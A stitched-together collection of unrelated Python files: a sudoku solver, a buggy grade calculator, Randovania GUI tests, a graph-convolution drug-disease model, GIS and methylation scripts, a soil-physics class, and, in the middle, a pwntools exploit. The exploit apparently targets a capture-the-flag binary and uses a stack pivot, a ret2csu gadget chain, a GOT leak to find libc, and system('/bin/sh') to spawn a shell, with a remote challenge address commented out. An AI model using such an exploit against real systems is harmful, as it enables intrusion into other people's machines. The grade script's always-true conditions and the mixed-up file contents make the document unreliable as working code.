    # edge case - check for either row or col is None (no empty space)
    if row is None:
        return True

    for guess in range(1, 10):
        if guess_is_valid(puzzle, guess, row, col):
            # if guess is valid, place it on the puzzle
            puzzle[row][col] = guess
            # recursive call
            if sudoku_solver(puzzle):
                return True

        # if guess is incorrect, then backtrack and try again
        # reset the guess to empty space i.e. -1
        puzzle[row][col] = -1

    # if no guess is correct, then provided puzzle can't be solved and return False
    return False

if __name__ == '__main__':
    sample_puzzle = [
        [3, 9, -1,      -1, 5, -1,      -1, -1, -1],
        [-1, -1, -1,    2, -1, -1,      -1, -1, 5],
        [-1, -1, -1,    7, 1, 9,        -1, 8, -1],

        [-1, 5, -1,     -1, 6, 8,       -1, -1, -1],
        [2, -1, 6,      -1, -1, 3,      -1, -1, -1],
        [-1, -1, -1,    -1, -1, -1,     -1, -1, 4],

        [5, -1, -1,     -1, -1, -1,     -1, -1, -1],
        [6, 7, -1,      1, -1, 5,       -1, 4, -1],
        [1, -1, 9,      -1, -1, -1,     2, -1, -1]
    ]
    print(sudoku_solver(sample_puzzle))
    print(sample_puzzle)


math = int(input("Enter math rate: "))
physics = int(input("Enter physics rate: "))
geography = int(input("Enter geography rate: "))
history = int(input("Enter history rate: "))
geometry = int(input("Enter geometry rate: "))

result = math + physics + geography + history + geometry

if result <= 40:
    print("Fail")
elif result >= 41 or result <= 60:
    print("Satisfactory")
elif result >= 61 or result <= 80:
    print("Good")
elif result >= 81 or result <= 100:
    print("Outstanding")
else:
    print("Something went wrong with this input")


from pwn import *
from LibcSearcher import *
# p=remote('61.147.171.105',51339)
p=process('./whoami')
elf=ELF('./whoami')
#libc=ELF('./libc-2.27.so')
# libc=ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('/home/cutecabbage/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
rl = lambda	a=False		: p.recvline(a)
ru = lambda a=True	: p.recvuntil(a)
rn = lambda x			: p.recvn(x)
sn = lambda x			: p.send(x)
sl = lambda x			: p.sendline(x)
sa = lambda a,b			: p.sendafter(a,b)
sla = lambda a,b		: p.sendlineafter(a,b)
irt = lambda			: p.interactive()
dbg = lambda text=None  : gdb.attach(p, text)
lg = lambda s,addr		: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
uu32 = lambda data		: u32(data.ljust(4, b'\x00'))
uu64 = lambda data		: u64(data.ljust(8, b'\x00'))

#rdi, rsi, rdx, rcx,
bss_addr=0x601040
buf_addr1=bss_addr+0xc0
buf_addr2=bss_addr+0x70
buf_addr3=bss_addr+0x308
main_addr=0x0000000000400771
pop_rbp=0x0000000000400648
pop_rdi=0x0000000000400843
pop_rsi_r15=0x0000000000400841
puts_plt=elf.plt['puts']
read_plt=elf.plt['read']
puts_got=elf.got['puts']
read_got=elf.got['read']
read_0x70=0x00000000004007BB
leave_ret=0x00000000004007d6
power_rop1=0x000000000040083A
power_rop2=0x0000000000400820
def getpower(avg1,avg2,avg3,plt):
    payload=p64(power_rop1)+p64(0)+p64(0)+p64(1)+p64(plt)+p64(avg1)+p64(avg2)+p64(avg3)
    payload+=p64(power_rop2)+p64(0)*7
    return payload

ru(b'Input name:\n')

payload1=b'a'*0x20+p64(buf_addr1)+p64(leave_ret)
file_path = 'payload1'
with open(file_path, 'wb') as file_obj:
    file_obj.write(payload1)
sn(payload1)

ru(b'Else?\n')
payload2=b'b'*0xc0+p64(buf_addr2)
payload2+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_0x70)
# payload2=payload2.ljust(240,b'\x00')
file_path = 'payload2'
with open(file_path, 'wb') as file_obj:
    file_obj.write(payload2)
sn(payload2)
puts_addr=u64(p.recv().strip().ljust(8,b'\x00'))
print(hex(puts_addr))
# libc=LibcSearcher('read',read_addr)
# print(libc.dump('system'))
# libc=LibcSearcher('read',read_addr)

# libcbase=read_addr-libc.dump('read')
libcbase=puts_addr-libc.symbols['puts']
print('libcbase',hex(libcbase))
# system_addr=libcbase+libc.dump('system')
system_addr=libcbase+libc.symbols['system']
print("system:",hex(system_addr))
pause()

payload3=b'w'*0x70+p64(buf_addr3)
payload3+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(buf_addr3)+p64(0)+p64(read_plt)+p64(leave_ret)
# payload3=payload3.ljust(240,b's')
file_path = 'payload3'
with open(file_path, 'wb') as file_obj:
    file_obj.write(payload3)
# print(payload3)
sn(payload3)

payload4 = p64(bss_addr+0x400)
payload4 += p64(pop_rdi)
payload4 += p64(bss_addr+0x308+0x20)
payload4 += p64(system_addr)
payload4 += b'/bin/sh\x00'
file_path = 'payload4'
with open(file_path, 'wb') as file_obj:
    file_obj.write(payload4)
sl(payload4)

# payload2=b'a'*0x70+p64(buf_addr2)
# payload2+=p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(read_0x70)
# sn(payload2)
# print(p.recv())
pause()
p.interactive()


from __future__ import annotations

import pytest
from PySide6.QtCore import Qt

from randovania.game_description.db.configurable_node import ConfigurableNode
from randovania.game_description.db.dock_node import DockNode
from randovania.game_description.db.event_node import EventNode
from randovania.game_description.db.hint_node import HintNode
from randovania.game_description.db.node import GenericNode
from randovania.game_description.db.pickup_node import PickupNode
from randovania.game_description.db.teleporter_network_node import TeleporterNetworkNode
from randovania.gui.dialog.node_details_popup import NodeDetailsPopup

@pytest.mark.parametrize(
    "node_type",
    [
        GenericNode,
        DockNode,
        PickupNode,
        EventNode,
        ConfigurableNode,
        HintNode,
    ],
)
def test_unchanged_create_new_node_echoes(skip_qtbot, echoes_game_description, node_type):
    node = next(node for node in echoes_game_description.region_list.iterate_nodes() if isinstance(node, node_type))
    dialog = NodeDetailsPopup(echoes_game_description, node)
    skip_qtbot.addWidget(dialog)

    # Run
    new_node = dialog.create_new_node()

    # Assert
    assert node == new_node

@pytest.mark.parametrize(
    "node_type",
    [
        TeleporterNetworkNode,
    ],
)
def test_unchanged_create_new_node_corruption(skip_qtbot, corruption_game_description, node_type):
    node = next(node for node in corruption_game_description.region_list.iterate_nodes() if isinstance(node, node_type))
    dialog = NodeDetailsPopup(corruption_game_description, node)
    skip_qtbot.addWidget(dialog)

    # Run
    new_node = dialog.create_new_node()

    # Assert
    assert node == new_node

def test_change_incompatible_dock_list(skip_qtbot, echoes_game_description):
    node = next(node for node in echoes_game_description.region_list.iterate_nodes() if isinstance(node, DockNode))
    dialog = NodeDetailsPopup(echoes_game_description, node)
    skip_qtbot.addWidget(dialog)
    model = dialog.dock_incompatible_model

    m = model.index(0)
    assert model.data(m, Qt.ItemDataRole.WhatsThisRole) is None
    assert model.data(m, Qt.ItemDataRole.DisplayRole) == "New..."
    assert model.data(m, Qt.ItemDataRole.EditRole) == ""

    assert not model.setData(m, "Normal Door", Qt.ItemDataRole.DisplayRole)
    assert model.data(m, Qt.ItemDataRole.DisplayRole) == "New..."

    assert model.setData(m, "Normal Door", Qt.ItemDataRole.EditRole)

    assert model.data(m, Qt.ItemDataRole.DisplayRole) == "Normal Door"

    result = dialog.create_new_node()
    assert isinstance(result, DockNode)
    assert [w.name for w in result.incompatible_dock_weaknesses] == ["Normal Door"]

    assert model.removeRow(0, m)
    assert model.data(m, Qt.ItemDataRole.EditRole) == ""

    result = dialog.create_new_node()
    assert isinstance(result, DockNode)
    assert [w.name for w in result.incompatible_dock_weaknesses] == []

def test_on_pickup_index_button_generic(skip_qtbot, echoes_game_description):
    node = next(node for node in echoes_game_description.region_list.iterate_nodes() if isinstance(node, GenericNode))
    dialog = NodeDetailsPopup(echoes_game_description, node)
    skip_qtbot.addWidget(dialog)

    dialog.on_pickup_index_button()
    assert dialog.pickup_index_spin.value() == 119

def test_on_pickup_index_button_pickup(skip_qtbot, echoes_game_description):
    node = next(node for node in echoes_game_description.region_list.iterate_nodes() if isinstance(node, PickupNode))
    dialog = NodeDetailsPopup(echoes_game_description, node)
    skip_qtbot.addWidget(dialog)

    dialog.on_pickup_index_button()
    assert dialog.pickup_index_spin.value() == node.pickup_index.index

def test_on_dock_update_name_button(skip_qtbot, blank_game_description):
    node = next(node for node in blank_game_description.region_list.iterate_nodes() if isinstance(node, DockNode))
    dialog = NodeDetailsPopup(blank_game_description, node)
    skip_qtbot.addWidget(dialog)
    dialog.name_edit.setText("Weird Name")

    # Run
    assert dialog.name_edit.text() == "Weird Name"
    dialog.on_dock_update_name_button()
    assert dialog.name_edit.text() == node.name


import numpy as np
import scipy.sparse as sp
import tensorflow as tf
import gc
import random
from clac_metric import cv_model_evaluate
from utils import *
from model import GCNModel
from opt import Optimizer

def PredictScore(train_drug_dis_matrix, drug_matrix, dis_matrix, seed, epochs, emb_dim, dp, lr,  adjdp):
    np.random.seed(seed)
    tf.reset_default_graph()
    tf.set_random_seed(seed)
    adj = constructHNet(train_drug_dis_matrix, drug_matrix, dis_matrix)
    adj = sp.csr_matrix(adj)
    association_nam = train_drug_dis_matrix.sum()
    X = constructNet(train_drug_dis_matrix)
    features = sparse_to_tuple(sp.csr_matrix(X))
    num_features = features[2][1]
    features_nonzero = features[1].shape[0]
    adj_orig = train_drug_dis_matrix.copy()
    adj_orig = sparse_to_tuple(sp.csr_matrix(adj_orig))

    adj_norm = preprocess_graph(adj)
    adj_nonzero = adj_norm[1].shape[0]
    placeholders = {
        'features': tf.sparse_placeholder(tf.float32),
        'adj': tf.sparse_placeholder(tf.float32),
        'adj_orig': tf.sparse_placeholder(tf.float32),
        'dropout': tf.placeholder_with_default(0., shape=()),
        'adjdp': tf.placeholder_with_default(0., shape=())
    }
    model = GCNModel(placeholders, num_features, emb_dim,
                     features_nonzero, adj_nonzero, train_drug_dis_matrix.shape[0], name='LAGCN')
    with tf.name_scope('optimizer'):
        opt = Optimizer(
            preds=model.reconstructions,
            labels=tf.reshape(tf.sparse_tensor_to_dense(
                placeholders['adj_orig'], validate_indices=False), [-1]),
            model=model,
            lr=lr, num_u=train_drug_dis_matrix.shape[0], num_v=train_drug_dis_matrix.shape[1], association_nam=association_nam)
    sess = tf.Session()
    sess.run(tf.global_variables_initializer())

    for epoch in range(epochs):
        feed_dict = dict()
        feed_dict.update({placeholders['features']: features})
        feed_dict.update({placeholders['adj']: adj_norm})
        feed_dict.update({placeholders['adj_orig']: adj_orig})
        feed_dict.update({placeholders['dropout']: dp})
        feed_dict.update({placeholders['adjdp']: adjdp})
        _, avg_cost = sess.run([opt.opt_op, opt.cost], feed_dict=feed_dict)
        if epoch % 100 == 0:
            feed_dict.update({placeholders['dropout']: 0})
            feed_dict.update({placeholders['adjdp']: 0})
            res = sess.run(model.reconstructions, feed_dict=feed_dict)
            print("Epoch:", '%04d' % (epoch + 1),
                  "train_loss=", "{:.5f}".format(avg_cost))
    print('Optimization Finished!')
    feed_dict.update({placeholders['dropout']: 0})
    feed_dict.update({placeholders['adjdp']: 0})
    res = sess.run(model.reconstructions, feed_dict=feed_dict)
    sess.close()
    return res

def cross_validation_experiment(drug_dis_matrix, drug_matrix, dis_matrix, seed, epochs, emb_dim, dp, lr, adjdp):
    index_matrix = np.mat(np.where(drug_dis_matrix == 1))
    association_nam = index_matrix.shape[1]
    random_index = index_matrix.T.tolist()
    random.seed(seed)
    random.shuffle(random_index)
    k_folds = 5
    CV_size = int(association_nam / k_folds)
    temp = np.array(random_index[:association_nam - association_nam %
                                 k_folds]).reshape(k_folds, CV_size,  -1).tolist()
    temp[k_folds - 1] = temp[k_folds - 1] + \
        random_index[association_nam - association_nam % k_folds:]
    random_index = temp
    metric = np.zeros((1, 7))
    print("seed=%d, evaluating drug-disease...." % (seed))
    for k in range(k_folds):
        print("------this is %dth cross validation------" % (k+1))
        train_matrix = np.matrix(drug_dis_matrix, copy=True)
        train_matrix[tuple(np.array(random_index[k]).T)] = 0
        drug_len = drug_dis_matrix.shape[0]
        dis_len = drug_dis_matrix.shape[1]
        drug_disease_res = PredictScore(
            train_matrix, drug_matrix, dis_matrix, seed, epochs, emb_dim, dp, lr,  adjdp)
        predict_y_proba = drug_disease_res.reshape(drug_len, dis_len)
        metric_tmp = cv_model_evaluate(
            drug_dis_matrix, predict_y_proba, train_matrix)
        print(metric_tmp)
        metric += metric_tmp
        del train_matrix
        gc.collect()
    print(metric / k_folds)
    metric = np.array(metric / k_folds)
    return metric

if __name__ == "__main__":
    drug_sim = np.loadtxt('../data/drug_sim.csv', delimiter=',')
    dis_sim = np.loadtxt('../data/dis_sim.csv', delimiter=',')
    drug_dis_matrix = np.loadtxt('../data/drug_dis.csv', delimiter=',')
    epoch = 4000
    emb_dim = 64
    lr = 0.01
    adjdp = 0.6
    dp = 0.4
    simw = 6
    result = np.zeros((1, 7), float)
    average_result = np.zeros((1, 7), float)
    circle_time = 1
    for i in range(circle_time):
        result += cross_validation_experiment(
            drug_dis_matrix, drug_sim*simw, dis_sim*simw, i, epoch, emb_dim, dp, lr, adjdp)
    average_result = result / circle_time
    print(average_result)


import csv

class Node:
    def __init__(self, name):
        self.name = name
        self.links = []
        self.visited = False

class Link:
    def __init__(self, fromNode, toNode, cost):
        self.cost = cost
        self.nodes = [fromNode, toNode]

class Graph:
    def __init__(self, fileName):
        self.nodes = {}
        with open(fileName, 'r', encoding='utf-8') as csvfile:
            reader = csv.reader(csvfile, delimiter=' ')
            i = 0
            for row in reader:
                i += 1
                if i == 1:
                    self.V = int(row[0])
                elif i == 2:
                    self.E = int(row[0])

                if len(row) == 2:
                    self.add_edge(int(row[0]), int(row[1]))

    def add_edge(self, fromNodeKey, toNodeKey):
        if not self.nodes.get(fromNodeKey):
            self.nodes[fromNodeKey] = Node(fromNodeKey)
        if not self.nodes.get(toNodeKey):
            self.nodes[toNodeKey] = Node(toNodeKey)

        fromNode = self.nodes[fromNodeKey]
        toNode = self.nodes[toNodeKey]

        link = Link(fromNode, toNode, 1)
        self.nodes[fromNodeKey].links.append(link)

    def print(self):
        for k, v in self.nodes.items():
            print(k, v.links)

if __name__ == '__main__':
    foo = Graph("tinyG.txt")
    foo.print()


# -*- coding: cp1252 -*-
import arcpy

#-------- Update les ID_Support pour que les valeurs puissent etre unique
def update_IDSupport(in_table, sqlClause):

    fields=("ID_Support")
    workspace = 'F:/Douala/Data_gathering/Gathring.gdb'

    # Open an edit session and start an edit operation
    with arcpy.da.Editor(workspace) as edit:

        cursor = arcpy.da.UpdateCursor(in_table, fields, sqlClause)
        cpt=1
        newVal = ""
        for row in cursor:
            if len(str(cpt))==1:
                newVal = row[0] + "000" + str(cpt)
            elif len(str(cpt))==2:
                newVal = row[0] + "00" + str(cpt)
            elif len(str(cpt))==3:
                newVal = row[0] + "0" + str(cpt)
            elif len(str(cpt))==4:
                newVal = row[0] + str(cpt)

            print("Old value = " + str(row[0]))
            row[0]=newVal
            print("New value = " + newVal)
            print("Starting data update ...")
            cursor.updateRow(row)
            print("Update done ...")
            cpt+=1
        print("Rows updated = " + str(cpt))

update_IDSupport(r'F:/Douala/Data_gathering/Gathring.gdb/Supports', "ID_Support like '8221307%'")

##print("Lancement du tri")
##arcpy.Sort_management("BT_Model_Project/Supports", "Supports_Sort", [["Date_Visite", "ASCENDING"]])
##print("Fin du tri")


#! /usr/bin/python3

import re

total_c_in_C_count = 0
total_1_c_in_C_count = 0
total_c_in_gene = 0
total_1_c_in_gene = 0
total_c_in_intergenic = 0
total_c_in_exon = 0
total_c_in_intron = 0
total_c_in_UTR = 0

total_meth_count = 0
gene_meth_count = 0
intergenic_meth_count = 0

exon_meth_count = 0
intron_meth_count = 0
UTR_meth_count = 0

ambig_meth_count = 0

matched_genes = set()
matched_genes_1 = set()
matched_genes_6 = set()

with open('/path/to/dir/C_all_contexts_methylation_counts_ambig.txt', 'r') as inp:
    for rawline in inp:
        if rawline[0] not in ('#','\n'):
            line = rawline.strip().split('\t')
            scaff = line[0]
            position = int(line[1])
            meth_perc = float(line[2])
            reads_meth = int(line[3])
            reads_unmeth = int(line[4])
            if len(line) > 5:
                annot = line[5]
            else:
                annot = ''
            if len(line) > 6:
                gid = str(line[6])
            else:
                gid = ''

            if (reads_meth + reads_unmeth) >= 1:
                matched_genes_1.add(gid)
                total_1_c_in_C_count += 1
                if re.search('mRNA', annot):
                    total_1_c_in_gene += 1

            if (reads_meth + reads_unmeth) >= 6:
                matched_genes_6.add(gid)

            if (reads_meth + reads_unmeth) >= 10:
                matched_genes.add(gid)
                total_c_in_C_count += 1
                if re.search('mRNA', annot):
                    total_c_in_gene += 1
                    if re.search('CDS', annot):
                        total_c_in_exon += 1
                    elif re.search('intron', annot):
                        total_c_in_intron += 1
                    elif re.search('UTR', annot):
                        total_c_in_UTR += 1
                else:
                    total_c_in_intergenic += 1

            if (reads_meth + reads_unmeth) >= 10 and meth_perc >= 10.0 and reads_meth >= 5:
                if re.search('mRNA', annot):
                    gene_meth_count += 1
                    total_meth_count += 1
                    if re.search('CDS', annot):
                        exon_meth_count += 1
                    elif re.search('intron', annot):
                        intron_meth_count += 1
                    elif re.search('UTR', annot):
                        UTR_meth_count += 1

                elif re.search('ambiguous', annot):
                        ambig_meth_count += 1
                else:
                    intergenic_meth_count += 1
                    total_meth_count += 1

matched_genes.remove('')

overall_meth_perc = float(float(total_meth_count)/float(total_c_in_C_count))*100

cpg_in_gene_meth_perc = float(float(gene_meth_count)/float(total_c_in_gene))*100
cpg_in_intergene_meth_perc = float(float(intergenic_meth_count)/float(total_c_in_intergenic))*100

gene_meth_perc = float(float(gene_meth_count)/float(total_meth_count))*100
intergene_meth_perc = float(float(intergenic_meth_count)/float(total_meth_count))*100

cpg_in_exon_perc = float(float(exon_meth_count)/float(total_c_in_exon))*100
cpg_in_intron_perc = float(float(intron_meth_count)/float(total_c_in_intron))*100
cpg_in_utr_perc = float(float(UTR_meth_count)/float(total_c_in_UTR))*100

exon_meth_perc = float(float(exon_meth_count)/float(gene_meth_count))*100
intron_meth_perc = float(float(intron_meth_count)/float(gene_meth_count))*100
utr_meth_perc = float(float(UTR_meth_count)/float(gene_meth_count))*100

ambig_meth_perc = float(float(ambig_meth_count)/float(total_c_in_C_count))*100

print('Total mapped genes (>= 10 reads): ', len(matched_genes))
print('Total mapped genes (>= 1 read): ', len(matched_genes_1))
print('Total mapped genes (>= 6 reads): ', len(matched_genes_6))

print('Total mapped Cs over genome with read coverage >= 10: ', total_c_in_C_count)
print('Total mapped Cs in genes with read coverage >= 10: ', total_c_in_gene)
print('Total mapped Cs in genes with read coverage >= 1: ', total_1_c_in_gene)
print('Total mapped Cs in intergenic regions with read coverage >= 10: ', total_c_in_intergenic)

print('Methylated Cs (of total CpGs): ', round(overall_meth_perc, 2), '%\n')

print('Methylated Cs in genes (of total CpGs in genes): ', round(cpg_in_gene_meth_perc, 2), '%')
print('Methylated Cs in intergenic regions (of total CpGs in intergenic regions): ', round(cpg_in_intergene_meth_perc, 2), '%\n')

print('Methylated Cs in genes (of total CpGs): ', round(gene_meth_perc, 2), '%')
print('Methylated Cs in intergenic regions (of total CpGs): ', round(intergene_meth_perc, 2), '%\n')

print('Methylated Cs in exons (of total CpGs in exons): ', round(cpg_in_exon_perc, 2), '%')
print('Methylated Cs in introns (of total CpGs in introns): ', round(cpg_in_intron_perc, 2), '%')
print('Methylated Cs in UTRs (of total CpGs in UTRs): ', round(cpg_in_utr_perc, 2), '%\n')

print('Methylated Cs in exons (of total methylated CpGs in genes): ', round(exon_meth_perc, 2), '%')
print('Methylated Cs in introns (of total methylated CpGs in genes): ', round(intron_meth_perc, 2), '%')
print('Methylated Cs in UTRs (of total methylated CpGs in genes): ', round(utr_meth_perc, 2), '%\n')

print('Methylated Cs with ambiguous annotation (of total CpGs): ', round(ambig_meth_perc, 2), '%')


import numpy as np

class BrooksCorey(object):
    def __init__( self, lambd=0., alpha=0., sr=0.0, smoothing_interval=0. ):
        self._lambda = lambd
        self._alpha = alpha
        self._sr = sr
        self._pc0 = smoothing_interval

        self._factor = -2.0 - (0.5 + 2.0) * self._lambda;
        self._pc_bubble = 1.0 / self._alpha

        if self._pc0 > 0.:
            k0 = self.k_relative(self._pc0) - 1.
            k0p = self.d_k_relative(self._pc0)
            self._a = (3 * k0 - k0p * self._pc0) / (self._pc0**2)
            self._b = (k0p * self._pc0 - 2 * k0) / (self._pc0**3)

    def capillaryPressure( self, s ):
        se = (s - self._sr) / (1.0 - self._sr)
        se = min(se, 1.0);
        return pow(se, -1.0/self._lambda) / self._alpha

    def d_capillaryPressure( self, s ):
        se = (s - self._sr) / (1.0 - self._sr)
        se = min(se, 1.0);
        return -1. / self._lambda * pow(se, -1.0/self._lambda - 1.) / self._alpha / (1. - self._sr);

    def saturation( self, pc ):
        if pc > self._pc_bubble:
            return pow(self._alpha * pc, -self._lambda) * (1.0 - self._sr) + self._sr
        else:
            return 1.0;

    def d_saturation( self, pc ):
        if pc > self._pc_bubble:
            return -pow(self._alpha * pc, -self._lambda - 1.0) * (1.0 - self._sr) * self._alpha * self._lambda
        else:
            return 0.

    def k_relative( self, pc ):
        if pc <= self._pc_bubble:
            return 1.0
        elif pc >= self._pc0:
            return pow(self._alpha * pc, self._factor)
        else:
            dpc = pc - self._pc_bubble
            return 1.0 + self._a * dpc**2 + self._b * dpc**3

    def d_k_relative( self, pc ):
        if pc <= self._pc_bubble:
            return 0.
        elif pc >= self._pc0:
            return self._factor * self._alpha * pow(self._alpha * pc, self._factor - 1.0)
        else:
            dpc = pc - self._pc_bubble
            return self._a * 2 * dpc + self._b * 3 * dpc**2